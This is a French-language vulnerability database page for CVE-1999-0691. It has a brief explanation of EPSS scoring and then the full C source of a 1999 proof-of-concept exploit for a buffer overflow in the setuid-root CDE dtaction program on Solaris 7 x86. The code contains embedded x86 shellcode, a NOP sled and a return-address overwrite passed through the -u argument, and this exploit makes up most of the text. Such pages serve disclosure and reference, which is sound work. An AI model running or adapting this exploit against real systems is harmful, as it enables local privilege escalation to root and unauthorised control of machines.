CVE-1999-0691 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/635/info TRU64/DIGITAL UNIX 4.0 d/e/f,AIX <= 4.3.2,Common Desktop Environment <= 2.1,IRIX <= 6.5.14,Solaris <= 7.0 dtaction Userflag Buffer Overflow Vulnerability CDE is the Common Desktop Environment, an implementation of a Desktop Manager for systems that run X. It is distributed with various commercial UNIX implementations. Under some distributions of CDE Common Desktop Environment, the dtaction program has a locally exploitable buffer overflow condition. The buffer overflow condition exists in the argument parsing code for the -u (user) function. Any information provided by the user over 1024 bytes may overwrite the buffer and in return be exploited by a malicious user. Since the dtaction program is typically installed setuid root, this make it possible for a local user to gain administrative access on a vulnerable system. */ /* * dtaction_ov.c * Job de Haas * (c) ITSX bv 1999 * * This program demonstrates an overflow problem in /usr/dt/bin/dtaction. * It has only been tested on Solaris 7 x86 * assembly code has been taken from ex_dtprintinfo86.c by unewn4th@usa.net * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pwd.h> #define BUFLEN 998 char exploit_code[] = "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33" "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88" "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f" "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46" "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01" "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id"; main() { char *argp[6], *envp[3]; char buf[2048]; unsigned long *p; struct passwd *pw; int buflen; if ((pw = getpwuid(getuid())) == NULL) { perror("getpwuid"); exit(1); } buflen = BUFLEN - strlen( pw->pw_name ); memset(buf,0x90,buflen); strncpy( &buf[500], exploit_code, strlen(exploit_code)); /* set some pointers to values that keep code running */ p = (unsigned long *)&buf[buflen]; *p++ = 0x37dc779b; *p++ = 0xdfaf6502; *p++ = 0x08051230; *p++ = 0x080479b8; /* the return address. */ *p++ = 0x08047710; *p = 0; argp[0] = strdup("/usr/dt/bin/dtaction"); argp[1] = strdup("-u"); argp[2] = strdup(buf); argp[3] = strdup("Run"); argp[4] = strdup("/usr/bin/id"); argp[5] = NULL; if (!getenv("DISPLAY")) { printf("forgot to set DISPLAY\n"); exit(1); } envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1); strcpy(envp[0],"DISPLAY="); strcat(envp[0],getenv("DISPLAY")); envp[1] = NULL; execve("/usr/dt/bin/dtaction",argp,envp); }